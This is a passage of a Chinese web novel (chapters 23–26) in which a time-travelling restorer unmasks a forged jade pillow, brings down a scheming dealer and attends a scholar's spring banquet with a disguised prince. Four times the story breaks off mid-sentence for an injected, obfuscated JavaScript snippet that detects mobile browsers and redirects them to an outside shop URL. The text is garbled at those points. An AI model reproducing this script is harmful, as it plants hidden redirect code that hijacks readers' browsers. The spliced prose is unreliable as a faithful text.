“这个平安玉扣是前不久别人卖到店里的,我很喜欢就买下了,我修了一下,正好送给你戴。它裂的部分我用金丝嵌玉法做的,还不错吧?” 路元玉见他拿起来细细观摩,不由得在一旁解释了起来。 “虽然它碎了,但它可是上等的和田青白玉籽料,价值连城呢,再加上我的修补之法,让他更别有神韵了,我反正挺喜欢的,你觉得呢?” 季修宁手心狠狠攥着冰冷的玉扣,玉扣下摆还用有一个用深青色冰蚕丝线编织的绳扣,看得出来主人很用心。 他一时间竟有些哽咽。 “嗯。” 路元玉闻言,有些无趣地转过头,看天上的星星,等待子时的烟花。 她精心准备的礼物,没想到他竟然反应这么淡,路元玉着实不知该说什么好了。 片刻后,子时的烟花准时在天空炸裂开来,梦幻绚丽,比她之前看过的每一场烟花秀都要好看上千倍万倍。 她专心致志地看烟花,没注意到身后的人,眼中却全都是她。 - 大年初一,路元玉早早地起了床。 这日突然传出来个消息,据说北方来的那个萧胤在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050687|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年前带着修复好的宝物去求见当地大儒,却被大儒狠狠骂了一顿。 萧胤一气之下,要将这件孤品拍卖,拍卖会就设置在今晚的晋江酒楼。 晋江酒楼原本就人满为患,如今又加上萧胤这个秦皇传国玉枕拍卖会的名头,更是座无虚席。 而路元玉提前半个月就定下了这里的上等包厢,早早就到了这里等待赵掌柜到来。 而赵掌柜在得知他心心念念的玉枕将要被拍卖的消息时,先是开心,而后则是淡淡的不悦,再则是有点怀疑,最后强迫自己安静下来。 他确实是应该开心的,因为这件玉枕,只要没被送人,他就能将他买下来。 但同时他又觉得萧胤这个人不够意思,他们都一起喝了一个月的酒,他要将玉枕卖出这件事都还是从别人口中听说的。 更何况,萧胤他明明知道自己非常想要那件玉枕,还非要搞什么拍卖! 但他又忍不住怀疑,萧胤找的那位大儒到底是哪位大儒?那位大儒为何会骂他?是因为他本身还是他所携带地玉器其实是个假货,所以他急于出手? 赵掌柜思及此处,眼神更是沉沉不见亮光。 但就这样放弃,他还是有些不甘心。 将东西都准备好之后,赵掌柜也去了晋江酒楼。 还没到晚上吃饭的时间,酒楼内就已经热火朝天,热闹起来。 赵掌柜走到一个角落位置坐下,等待拍卖会开场。 然而在等待的过程中,他似乎非常不安,眼神四处乱瞟。他的右手放进胸膛处,好像紧紧攥着一个什么东西。 又等了将近一个时辰后,负责今天晚上拍卖这件玉枕的主持人终于出现。 在一番激情介绍下,终于将萧胤请了出来。 萧胤第一次出现在众人面前,将玉枕展示了一番。 此番展示让现场瞬间步入高潮—— 主持人趁机叫出了起拍价:“八千两白银!” 刚才还闹哄哄的酒楼瞬间安静下来,只有零星几个人在说话。 反应快的人连忙叫道:“八千五百两!” “九千两!” “九千五百两!” …… “四千七百两!” 不知道过了多久,有人喊到了四千七百两,这时,热闹的酒楼才算是彻底安静了下来。 主持人:“四千七百两一次!” 赵掌柜在下面急得团团转。 他刚才喊了很多次,但次次都被人压了上去。 他目光不善地看向二楼走廊处站着的一个中年男人,就是他,在自己喊了四千六百两之后,加到了四千七百两。 但也只剩了他,在和自己争这件传国玉枕。 主持人:“四千七百两,第二次!” 赵掌柜紧闭双眼,额间青筋暴起,整个脑袋通红得像是要在下一瞬间就要爆开似的。 周围的人见他如此激动,都忍不住离得他远远的。 赵掌柜脑子里正在快速判断价值得失。 他现在只剩下了一百两,如果全都加了进去,他就真的什么都没有了,不仅如此,他还会欠下一屁股债。 他、真的要赌吗? 23. 第二十三章·定局 赵掌柜没有意识到,在他考虑的时候,台上的主持人也在紧紧地盯着他,并且迟迟没有喊出“成交”两个字。 时间终于要结束,主持人不得不硬着头皮喊出:“成……” “四千八百两!” 咬咬牙,赵掌柜还是豁了出去。 钱没了还能再赚,这千载难逢的玉枕要是没了,他就再也没有见它一面的机会了。 主持人闻言,都没顾得上提醒,直接就一锤定音,“成交!” 这一下好像敲进了赵掌柜心里,他感到心间微颤。 说出去不怕被人笑话,他在这行干了二十多年,今天竟然有点害怕了。 被欣喜砸昏头的害怕! 将所有财产以及房产店铺等各种不动产变卖来的银票统统交上去后,他终于有一种万事都尘埃落定的感觉。 同时内心忍不住尖叫咆哮,不枉他费尽心机,终于教他也得到了一个至宝! 就算他不将此宝送给别人,那他们以后也要高看他一等! 他可是买到了秦始皇的传国玉枕! 赵掌柜一脸春风得意,在众人艳羡的眼神和一句句道喜中,跟着专门护送玉器的软轿回了家。 然而等到了家他才想起来,他已经将房产变卖了! - 三日后,路元玉收到一封请柬,她拆开仔细一看,是赵掌柜寄过来的。 请柬上说承蒙她关照,助他得到了宝物,他将宝物送给了在当地隐居的一位公认的金石学、古籍版本学泰斗——顾老。 顾老非常高兴,要在三日后举办鉴赏宴。 特地邀请路元玉赏脸参加。 这位泰斗名叫顾承嗣,人们都尊称其为顾老。 路元玉有些印象。 如果她没记错的话,这位顾老是前朝肃清派代表。 在前朝的肃清派看来,前朝气数已尽,新朝应运而生,他们为了防止有乱臣贼子乱了当今世道,专门打压与前朝有关的人物。 季修宁三番两次败在太子宋承安手下,可少不了这位顾老在背后推波助澜。 - 又三日后,路元玉前去赴会。 该鉴赏会开在顾老城郊的一处别院中,此番前来赴会的人都是在这个圈子里有头有脸的大人物,大多还都是男人。 路元玉骤然出现在别院门口,引来数到好奇的目光。 她担心迎宾的门童不让自己进去,还特意提前将请柬拿在手上,递给他。 没想到那门童只是接过来随意看了两眼,还是没有让她进去的意思。 她被拦在门外,脸上露出几分疑惑。 门童嗤笑一声,像赶苍蝇似的挥了挥手,“这道请柬不作数,您请回吧。” “为什么?”路元玉眉心微蹙。 “这你都不知道,还敢过来参加我们顾老主办的鉴赏宴?” 路元玉:“我只知道,既然给我发了请帖,我就能进去。” 门童却直接不予理睬,将她扣在门外,反而让她身后的那些人先进去了。 路元玉站在原地看了一会儿,目光从陆陆续续过来的这些人身上扫过,她隐隐约约间好像明白了为什么。 此时恰好有一位年轻公子,不忍心她受如此冷落,便好心上前提醒了一句:“顾老举办的鉴赏宴,从来没有邀请过女人,这是惯例。你还是先回去吧。” 路元玉礼貌道谢,却还是站在原地等着,一点也不着急的样子。 她就不信,她如果迟迟不到,赵掌柜不会不来找她。 倒不是她有多自信,而是她已经看穿了赵掌柜背后的虚伪,今日这么好的机会,他一定会在这么多人面前,将他以前在她这里丢的脸面全都找回来。 年轻公子见路元玉如此固执,只好摇了摇头进去了。 果然,约莫半个小时后,赵掌柜匆匆忙忙从别院里面跑出来,一边跑一边骂,一副被气得血压飙升的样子。 “李姑娘,真是不好意思,这几天忙的我晕头转向,忘了提前跟他们知会一声。” 他先是不好意思地跟路元玉道了个歉,随后立刻变脸,狠狠踹了一脚方才拦住她不让她进门的门童一下,嫌恶道:“这些个奴才也是,一点都不知道灵活变通!” “李姑娘,鉴赏会快开始了,我们快进去吧。” 路元玉瞥了他一眼,没有多说,点了点头和他进去了。 在路元玉身后,赵掌柜眼中闪过一道狠厉又得意的光,但很快就被他压了下去。 很快,赵掌柜带着路元玉来到了顾老的琳琅阁。 琳琅阁是一座两层木构阁楼,形制古朴。屋顶覆深灰色简瓦,飞檐舒缓。阁前挑出一方宽阔的露台,以青石板铺就,设素面石栏。 赵掌柜抬手:“请。” 路元玉没有与他虚与委蛇,直接抬脚走了进去,气得赵掌柜头顶冒烟。 进去之后就感到满室温暖,却不见烟火,空气里只有墨香、纸香、陈年木头香与一缕极淡的梅花冷香。 路元玉转过屏风,就见内里轩敞通透,书架顶天立地,置满典籍。四周轩窗大开,以一帘薄纱遮挡阳光,隐约能看见屋外的正中设一张巨大的紫檀平头案,案上除一方承托玉枕的暗青色古锦外空无一物。 案桌主位坐着一个仙风道骨的老先生,其余人下坐,一眼看去大概有十几人。 刚才在门口见过的大多数人也都在这里,包括那位好心提醒她的年轻公子。 路元玉一进来,里面的人就注意到了她,停下动作纷纷疑惑地看向她。 她微微颌首,像坐在首位的顾老不卑不亢的示意了一下,然后看向身边的赵掌柜。 赵掌柜扬起笑,出声打了圆场。 “各位大人,这位是我今日特邀而来的修复师李姑娘,近些日子颇有名气,我今日进献的这玉枕就是经她之手修复的。” 赵掌柜此话一出,里面的人看向路元玉的眼光皆变了一变,透露出几分不屑。 坐在首位的顾老打量了路元玉一眼,面上倒是没什么表情,却对赵掌柜道:“既然来了就找个地方坐吧。赵卓远,以后别什么人都往我这带。” 这个女人虽然气定神闲,不卑不亢,但太过激进莽撞,而且又是个女人,他这么多年从事文玩古物研究从来没见过有女人从事这一行的。 赵掌柜连忙躬身应道:“是,我知道了。” 然后将路元玉扔在一边,坐到位置上去了。 他心里也清楚,他私自带路元玉过来会惹顾老不喜,但他已经给顾老送了个这么大的大礼,顾老不会把他怎么样的。 而且此次让她见识到这种场面,她一定会自惭形秽,对她产生不小的打击,以后说不定就不干这行了。 既然杀不死她,用这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这可是他拼尽全部身家才得来的,能不是真的吗? 要是买了个假的回来,那说出去得被笑掉大牙! 他冷笑一声,目光瞥向坐在角落中的路元玉,不禁更加得意起来。 年轻人就是容易太心急,急着出风头,急到头来,连个渣都不剩,今天这一场面要是被人宣扬出去,那她就永远别想在这一圈里混了。 他越发得意,就连自己引以得意的玉枕都没上去看,就等着别人看完之后再过来恭喜他一遍,他好跟别人好好说说,这玉枕是怎么来的。 然而,他还没得意多久,突然间路元玉慢悠悠站起来,走到殿中间,唇边挂着一抹淡淡的笑,不知道要干什么。 路元玉今日穿了一套素绒提花披风套装,清新淡雅,素净清冷,但在赵掌柜看来,她一个商人,颇有些附庸风雅之意,越看越不喜。 当下也只是以为她又要强出风头,便知是撇了撇嘴,没有多加阻拦。 路元玉于是非常顺畅地站到了房间中央,她声音清脆,神色清冷,掷地有声。 “各位大人们难道看不出来,这玉枕是假的吗?” 此话一出,房间里顿时鸦雀无声。 24. 第二十四章·结束 外面天色昏暗,马车内点了油灯,温暖明亮。 路元玉坐在马车内,一言不发。 虽然今日将赵掌柜处理了,让他失去了金钱和地位,并且让他被人人唾骂,听起来好像很爽,但路元玉仍觉得不够。 远远不够抵偿侯四同的死。 她想看他痛苦,想看他生不如死。 但……她一个现代人,实在想不到还有什么办法可以折磨他了。 她这段时间的所作所为,是在折磨他的神经,如今他失去了金钱地位和名声,已经和死没什么两样了。 而她不仅得到了他的所有财产,还意外得到了顾老的赏识,或许日后确实能够为她提供一些帮助。 这么看来,她获得的已经够多了,为什么还是觉得不够解气呢? 她真的很坏? 以前她顶多冷漠一点,从不落井下石也不主动害人,难道是被季修宁给同化了? 她不经意扫了季修宁一眼。 “怎么了?” 季修宁察觉到她异样的眼光,问道。 路元玉连忙摇摇头:“没什么。” 季修宁这段时间正常很多,看她时眼中没有了以前那么谨慎和防备,说话时也能好好沟通,看不出来有什么异常。 路元玉不知道的是,他只是在她面前这样,在别人面前,他始终是一袭黑衣,从不轻易露面,尽管不露面身上也无时无刻散发着地狱般的寒气。 思索无果,路元玉便把原因归结于赵掌柜实在可恶,毕竟是血海深仇,她恨一点也没什么奇怪的。 “不开心?” 季修宁却没有就此作罢将这个话题略过去,而是看着她的脸色,推测道。 路元玉有些惊讶,看了他一眼,没有否认。 “嗯,还是感觉这么就饶了他,有点太便宜他了。你有什么办法吗?” 路元玉就是随口一问,没想到季修宁还真点了点头。 “嗯。” 路元玉:“什么办法?” 季修宁笑了一下,“这你就不用管了,一个月后我带你去见他。另外……” 他神色一顿。 路元玉:“怎么了?” 季修宁收回视线,目视前方,“甘凌不是什么好人,你离他远一点。” - 赵掌柜被人赶出去后,立马就有人认出了狼狈的他,刚开始人们还对他客气有加,都恭喜他买到了世上无双的宝贝。 他不敢生气,不敢反驳,只好匆忙离开。 他无处可去,在街头游荡、躲藏,直到天色彻底昏暗下来,他才敢从暗处出来。 现在他的颜面尽失,根本没脸见人。 但现在他连一锭银子都没有,如今的生计都成了问题。 他不明白,明明是他仔细辨认过的玉枕,到头来怎么成了假货? 他笃定是那个姓李的女人害了他,却又不知道是如何做的,百思不得其解。 他走着走着,走到了郑尚家里。 他敲开了门。 郑尚开门,见是赵大哥,连忙将人请了进来。 他还不知道赵掌柜身上发生的那些事,还在一味地恭喜。 赵卓远越听越来气,冲他骂了一声,“闭嘴!” 郑尚被吓得一怔,不知道赵大哥又是怎么了,便只好离开,留他一人在此休息。 直到第二天,郑尚才得知赵卓远遭遇了什么事,他眸光微闪,犹豫着回到家。 赵掌柜已经在椅子上坐了一夜,见郑尚回来,泛着红血丝的眼睛瞬间冒出两道光似的,冲郑尚跑了过来。 他抓住郑尚的衣领,神情恍惚,整个人显得有些癫狂。 “去、去找萧胤!去把他给我找过来!” 郑尚冷不丁被抓住衣领,顿时呼吸不畅起来,他皱着眉费了好大力气才将赵卓远的手从自己衣服上掰开,然后看着他。 他没想到赵卓远竟然这么快就被人弄成这副样子,他之前为了搭上赵卓远这个人脉,废了好大的力气,没想到结果就是这个? 也不是他听风就是雨,外面都已经传遍了,赵卓远以前的宝盛昌都已经有人在装修了。 听说赵卓远这次是惹到了那位顾老,他们这行最注重名誉,他以后肯定在这行混不下去了。 那自己还有什么必要仍他当大哥? 郑尚脸色晦暗,唾骂了他一句,看在以前他确实照拂过自己的份上,给了他一些钱,将他赶了出去。 赵卓远由于一晚上没睡觉,也没怎么吃饭,力气肯定比不上小他十岁的壮男子汉,就这么被拖了出去。 他气得脸色发青,一把将那钱袋用力一抛,扔了回去。 “贱人!你们都是贱人!天打雷劈!哈哈哈哈!” 他往前走了两步,忽然! 一支箭直直向他射了过来,擦过他的耳边,插在了郑尚家的门板上。 赵卓远立时安静下来,呆若木鸡。 他有些后怕地向后看去,发现那箭头上插着一张纸。 他走上前,将纸拿下来细细观看,发现上面写的竟然是他已故父母名讳和生卒年月,以及埋葬地点! 是谁!是谁害了他不够,还要拿他的父母威胁他! “啊!” 他再也受不了,大声将心中的不忿、怨恨统统都喊了出来,然而却没有一个人理他。 “萧胤……找萧胤……” 发泄完之后,他好像恢复过来一些理智,想要去找萧胤,然而脑海中总感觉有什么事被他忘了似的。 他一边走一边想,终于,在走到博古轩门前时想起来了——那个李姑娘! 一定是那个女人,发现了自己要杀她,所以才弄了这么一出,让自己眼睁睁地跳进了热油锅里,好狠的心呐! 他双目通红,目眦欲裂,提起衣袖就要冲进去,然而他们早有防备,在他上前一步后,就有人“啪”的一声,快速地关了门,任他在外面如何敲打谩骂也不开门。 最后他累了,坐在门边睡了过去。 等他醒来,博古轩已经关了门,他只好去找个客栈住下,然而那些客栈老板都像是商量好了似的,说什么也不让他住,吃的也不给他,他又累又饿,最后流落荒郊野外。 就在他以为自己快要被饿死的时候,一双黑色的靴子踩在他眼前。 那人带了张面具,扔给他一带银子和一张地图,底下身冷冷道:“赵卓远是吧?” 赵卓远费力地睁开眼看他,没有吭声。 那人也不管他回不回答,继续道:“也不知我们家老爷怎么想的,竟想用你这种傻货,这是我们老爷给你指的一条明路,你要是还想活命,就往这里走吧。” 说完踢了他一脚,从怀中掏出一张纸,用匕首在他的大拇指上划了一道,然后将他的手按在了这张纸上。 “这是卖身契,你签了这份契约,就是我们老爷的人了,现在即刻动身北上吧,否则后果可不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“一封是你当时签的卖身契,一封是认罪书,把认罪书签了,就放你离开,如果不想签也没关系,面前这条河,你就请自便。” 赵卓远一听到那封卖身契,眼睛立时瞪圆了。 他、他怎么知道?!难道,这卖身契也是他们弄出来的? 难道——他经历的种种一切,都是他们故意弄出来的? 一种巨大的寒冷席卷了他的身体,让他感到恐怖,感到恶心想吐。 对上季修宁悠闲肯定的目光,他更加确信自己就是被他们玩得团团转的老鼠! 他竟然不知道折磨人还有这种办法,一想到他这几个月都活在他们的监视之下,他就恨不得去死! 他身体控制不住地颤抖起来,片刻后忽然倒地,浑身抽搐,口吐白沫。 片刻后,他不动了。 那小厮上前探了探鼻息,然后点了点头:“他死了。” 路元玉一时间有些唏嘘,不过并没有什么负罪感。 赵卓远做到湖州府古玩行的大掌柜,一定暗中残害了很多人,他应该为此付出代价。 只是可惜了季修宁特意为他准备的两种结局了。 如果赵卓元没死,选择签了那份认罪书,那他就会立刻被官府发配到苦寒之地,终身不能再返。 如果他不签,季修宁就会立刻送他去见阎王。 没想到他最后竟然被吓死了。 事情终于告一段落,路元玉和季修宁商量着什么时候去金陵,却突然收到了顾老送来的请柬。 25. 第二十五章·春宴 原来是马上要立春,顾老每年都会在这个时候举办一场春宴,邀请一些朋友,在宴会上鉴赏新春雅玩,共议一年文事,今年特意邀请了路元玉。 路元玉收到请柬后,思考再三还是决定去赴宴。 原书中说过,这个顾老私下帮助太子宋承安做了很多不利于季修宁的事情,如果以后被他发现季修宁其实并没有死,他可能还会对季修宁赶尽杀绝。 本来她并不想淌这里的浑水,抱着侥幸的心理走一步看一步,她并不认为顾老能这么快就发现季修宁还活着。 但如今既然顾老都已经主动送上门来,不去未免太不近人情,以后万一被顾老记恨,她会无端招来很多麻烦。 下定决心后,她开始张罗那日要穿的衣服,毕竟已经到了春天,她以前的衣服都穿不了了,需要买新的。 但季修宁得知了她的行程后,不管说什么都要跟着一块去。 此时他们站在堂屋的书桌前,前面摆着一堆乱糟糟的书信和废纸,路元玉头疼扶额。 “你去干嘛?” 季修宁靠在屏风上,面色淡淡:“不干嘛,去见见世面而已。” 路元玉觉得他在拿话敷衍她,更加头疼,“为什么非要去顾老那里见世面?我们以后也可以去别的地方。” 季修宁闻言转过头看向她:“那你告诉我你为什么非要去?我们已经说好了两天之后出发。” 路元玉了然,想必是季修宁觉得自己耽误他找潜鳞的进度了,于是耐下性子解释道:“这个顾老大有来头,我们不能得罪他,否则以后会很麻烦。” 季修宁不以为然:“不过是一个无官无职的文人而已,你为什么如此害怕?” 路元玉无语,心中暗暗道还不是为了你。 但见他一脸坚决,便也不想再劝,反正是他自己的事,如果真的被顾老认出来追杀……那只能走一步看一步了。 她现在终于明白那句“队友带不动”是什么感觉了。 路元玉没有办法,终于同意了季修宁的要求,但她也提了个要求:“你跟我去的话,必须打扮成小厮,还要戴上面具。” 季修宁眉心微蹙:“为何?”他有那么见不得人吗? 之前他虽然也不常露脸,但他自知自己长相还算可以,现在主动要露脸,她竟然还嫌弃自己了。 路元玉已经失去耐心:“照我说的做就行了,要不然你会后悔的。” 她自以为已经说得很清楚了,然而听在季修宁耳中,就是路元玉已经和别人有了什么他不知道的秘密。 路元玉还在那个小破驿站的时候,自己是她首要关注的目标,但是来到湖州府以后,她的目光不知不觉从他身上移开了,变成了侯四同、赵掌柜、甘凌、顾老,这些人都是她后认识的,但她却把他们排在他前面。 季修宁感到心里很不舒服,像是生气、愤怒的感觉。 他从来都只有路元玉一个人,所以他把路元玉看作是自己的队友,是和别人不一样的。 但路元玉在他的保护下,竟然生出了别的心思,要和其他人去发展他们两个之间才存在的友谊。 不能允许这样的事情发生。 他呼吸急促起来,面色通红,如果此时路元玉在,一定会以为他发烧了,但她早在说完那句话之后就离开了。 冷静、冷静。 季修宁强迫自己冷静下来,现在事情还没有定论,到底她要做什么,得去了才知道。 - 两天后,路元玉和季修宁再一次出现在顾老的别院门前。 季修宁很听话,穿了一身低调的小厮装扮,还带了一个面具,轻易不会被人认出来。 这次的门童还是上次将路元玉拦在外面的那个,见路元玉再次过来,犹疑的目光中不知为什么带着一丝畏惧。 路元玉和善的笑着将请柬递给了他。 这次他倒是什么都没说就放她进去了。 刚走没两步,就听见有人叫她。 “李姑娘。” 路元玉回头看,发现原来是甘凌,他正笑着向她走来。 然而刚走近,季修宁就挡在了路元玉身前。 甘凌有些懵,被迫往后退了好几步。 路元玉想起来之前季修宁告诉过自己的,甘凌不是什么好人,让她离远一点,当下也明白了他这个举动的含义,便不由笑着解释道:“不好意思甘公子,这是我新买的小厮,专门保护我的。” 闻言,甘凌脸上的疑惑才退下去,特意打量了季修宁两眼,笑了笑,“既是护卫,怎么不挑一个壮一点的?我那里有很多,如果李姑娘需要的话,一会宴会结束之后,我给你送几个。” 季修宁听到这话,脸顿时黑下来。 路元玉连忙把他拉到身后,笑道:“不用了,我买他花了很多银子呢,而且别看他瘦,其实身手挺厉害的。” 甘凌笑着,遗憾地摇了摇头,“既然如此,那甘某不再强买强卖了。我们先进去吧。” 路元玉点点头,转身和甘凌一同走了进去,徒留季修宁跟在身后一脸阴沉。 此次春宴安排在别院向阳的聆春轩,轩外红梅未谢,新柳初芽,一派欣欣向荣的景象。 路元玉看了一圈,发现顾老还没来,挨个问过好之后,就挑了个最末的位置坐下了。 众人又闲坐了一会儿,顾老就来了。 顾老落座后,目光在下面的人身上扫了一圈,看到路元玉后,面上露出一丝满意。 他并没有看到她身后的季修宁,路元玉微不可察地松了口气,回以微笑。 此次春宴的流程是先赏玩古物,再试春笔。 试春笔就是来客们用已经准备好的笔墨写一些新春吉语或诗词,表达对新一年的祝福之意。 几句开场白后,顾老命人端出来一个被红布盖起来的器物,放到了中间的桌子上。 顾老坐在首位,坐得端正看着众人,露出几分笑意,“今日立春,恰逢前不久我偶得此汉炉。其形应苍龙春象,只是有些残损,徒有其形,难复其神。诸位看这春神之器,当如何迎春?” 盖在炉上的红布被下人揭开,露出真容。 看上去像是博山炉变体炉。 炉盖镂雕成苍龙昂首盘绕之形,龙口微张,栩栩如生。 顾老见众人目不转睛地盯着看,解释道:“这苍龙口中原应衔有一枚可活动的铜制稻穗,只可惜现如今已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095922|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经丢失了。” 炉表面有均匀的朱砂锈与绿锈,古朴可爱,但部分有些脏污。炉身与底座连接处也有一道裂隙,看上去损坏已久。 众人看着这它啧啧称奇,眼中赞叹连连,说什么恰逢立春,今日能有幸得以见到如此符合寓意的西汉博山炉,真是今生有幸。 顾老的目光从面前众人的身上一一扫过,观察他们的反应。 这样的反应他看多了,他们这群人年年都能找出各种不同的词句来夸,他们不累,他听着都累。 然而,今年他发现了不同。 那位李姑娘眼中虽然也流露出一些赞美和惊叹之意,但并不多,更多的是审视,她好像在将此炉在心中与其他物什做对比,判断它的价值。 这次邀请她来这次春宴,为的也是再进一步试探她的价值,果然让他意外。 不过她看这熏炉明显是以商人视角来看得,和他理念诸多不同。 他刚想收回目光,然而却被路元玉身后的小厮吸引力。 这个小厮体型修长,气质不凡,脸上尽管带了一个面具,但仍感觉他与旁人格格不入。 面具只露出两个洞,可以看到他冷静甚至带着点倨傲的目光。 似乎摆在他眼前的不是什么罕见地古物,而只是一个平平无奇的用具罢了。 什么样的小厮能有这样的气度?顾老瞬时在心中敲响了警钟。 他见过那么多人,这个男人一定不同寻常,他一定有些的身份,因为……这样的气质他只在皇室身上见过。 顾老眼神一凛,下意识怀疑是不是前朝那个已经被他弄死的废物皇子,但转念又一想,那个季修宁软弱无能,只会阴损招式,自己虽从未见过他,但听手下人描述,他是一个气质温润的人,眼前这个人浑身布满杀气,一看就不容易接近。 那会是谁? 顾老招了招手,叫上来一个暗卫,在他耳边低声交代了几句,那人便悄无声息地退下了。 在场所有人都没有注意到,但在顾老收回视线的一瞬间,季修宁冰冷警惕的目光就看了过去。 顾老咳嗽了一声,将众人的注意力都拉了回来。 “今日我们就依这苍龙口中之稻穗该如何修补之题,来听一下诸位的意见,如何?” 众人纷纷应和。 有一人率先开口:“《考工记》有云:‘材美工巧,然而不良,则不时。’我认为应该重新做一个稻穗放进去,这样才能完善它‘春神赐福’之礼器全意。” “不然,我等认为此炉历经近千年,龙口空悬,正是残缺之美。若是强行补穗,美则美矣,魂已不在。” “但只要补件工艺、材质可辨,且低于原物,就是为古器接续了一段生命。让它以更完整的姿态讲述历史,有何不可呢?李姑娘,你怎么看?” 说这句话的是甘凌,他笑得闲适,看向路元玉的目光很温柔。 路元玉眉心微蹙,她很不喜欢被人这样当众点名,而且听他的意思,他似乎已经私下调查过他了,要不然他怎么会意有所指呢? 众人听到甘凌的话,沉浸在讨论中的意识回神,纷纷停下来看着她。 顾老也饶有兴致地等她开口。 26. 第二十六章·败露 路元玉只好上前两步,抿抿唇道:“诸位所争论的,便是这龙口的稻穗该不该补。所以大家忽视了此炉之魂,不仅在于其遗失的稻穗,还在于天地人神之气。 修复之责,主要在稳固其气,就是要修补其断裂处的裂缝,让它能长久存放于世,再清洁内膛,让熏香得以复燃。到那时,烟雾自空口而出,不用刻意修补,自然有了活穗。” 等她说完,众人都安静了一瞬,顾老赏析片刻,忽然笑了起来。 “好!好!想不到你竟有如此见地!” 其实自从拿到这个炉子,他心里就在想着该怎么施行修补之法,但就像他们说的那样,他想了很多方法,但感觉都差了点什么,不尽其意,今日听这李姑娘一言,使他茅塞顿开。 “是啊,说的真好。” “早就听闻李姑娘见地不俗,上次……虽已领教过,但今天更是让我等大开眼界!” 甘凌笑着向路元玉拱了拱手,似乎彻底被路元玉说服。 路元玉并没有什么得意的神情,这炉子她早在现代的时候就见过,这番言论也不是她一个人说出来的,而是经过大家长达一个月的会议探讨出来的。 她微微颔首,退后几步,将场面主导权交了回去。 她只是这么一说而已,当时这个提议遭受了众多人的反对,有人说既然修补,修一办不成体统,说什么也要弄个假的放上去。 如今路元玉也不觉得他们会轻易接受她的想法。 却没想到顾老很满意,他得到了他想要的答案,又和众人一同说了一番,就将这熏炉让人拿了下去,开始进行第二项——试春笔。 等笔墨上来的空隙,顾老突然对着路元玉道:“李姑娘,你身边这位小厮,倒很沉稳。是家生子吗?跟了你多久?” 路元玉心里一惊——顾老还是注意到了。 但她也不能将季修宁团吧团吧藏起来,只好站起来回道:“不是家生子,只是我前几日从市面上买来的,保护我的安全。顾老是有什么事吗?” 顾老:“只是见他气度不凡,便想问问。他可有姓名?” 见身后的季修宁好想要说话,路元玉连忙道:“并无姓名,平日里我也只叫他小黑。” 顾老:“小黑?” 路元玉:“对,因为他经常穿着一身黑色衣服,而且从不显露真容,脾气又古怪,所以我唤他小黑。” 顾老点点头,没再细问。 路元玉松了口气,却感觉到有人正在拽自己的衣袖。 她回过头,见季修宁正不满地盯着她。 路元玉佯怒地皱了下眉,低低嘱咐道:“别闹。” 她以为他们的动作很隐秘,却不知道她们私下里的小动作,都被顾老看在了眼里。 春宴结束后,路元玉二人离开,马车上,季修宁冷着脸问:“小黑是什么意思?” 这段时间他对她是太纵容了,她竟敢给他取这种名字。 路元玉笑了一下,凑近他身边。 他的面具已经被摘下,露出俊秀的面庞。 “就是字面上的意思呀,你不喜欢?” 季修宁桃花眼危险地眯了起来,“喜欢?” 路元玉见状,不仅不觉得害怕,反而觉得他故意生气的样子特别可爱,于是大着胆子上手摸了一下。 “对呀,我觉得很符合你的形象,以后就叫你小黑怎么样?” 季修宁冷漠的神情迅速退却,眼底微震,猛地向后一退,不可置信地看着路元玉。 “大胆,你竟敢!” 路元玉被他这剧烈的反应弄得有点懵,看不出来季修宁这小子还听纯情。 她更是来了兴趣。 她带着笑意挑眉,“嗯?我怎么?” 季修宁面上泛热,耳根泛红,他不知道,他是特别容易脸红的体质。 他没想到,路元玉胆子竟然这么大,他故意板起脸她都不害怕了,一时间心里不只是什么感觉,有点涨涨的。 其实被叫小黑他没什么介意的,毕竟以前被叫过更难听更过分的名字,他故意生气,只是想知道为什么,她是怎么想的。 但不仅没听到原因,还反被她调戏了一番,换做以前,他早就把对方的手砍断了。 意识到这一点,季修宁心里更加震惊。 身体的反应告诉他,他现在很生气,但要气得将她的手砍下来,竟然还有点不愿意。 这两种激烈的情绪在胸腔内剧烈翻滚,他呼吸急促,用力闭了闭眼,强迫自己镇定下来。 “别给我耍小心思,”他声音沙哑警告道,“顾老到底是什么身份?你为何如此怕他?” 在这场春宴之前,他很生气路元玉背叛了他,但一场春宴下来,他也看出了点不同寻常。 上次路元玉参加他们的鉴赏宴,他没有跟在她身边,只是远远藏身观察,他还以为她和他们相谈甚欢。 但今天看来那些不过都是逢场作戏。 他能感觉到,她并不被他们所接纳,只是那个顾老对她欣赏有加而已。 而他的愤怒来源——甘凌,似乎对她也只是单向感兴趣,路元玉并没有和他成为队友的想法。 但——路元玉为何要在别人面前伪装他的身份? 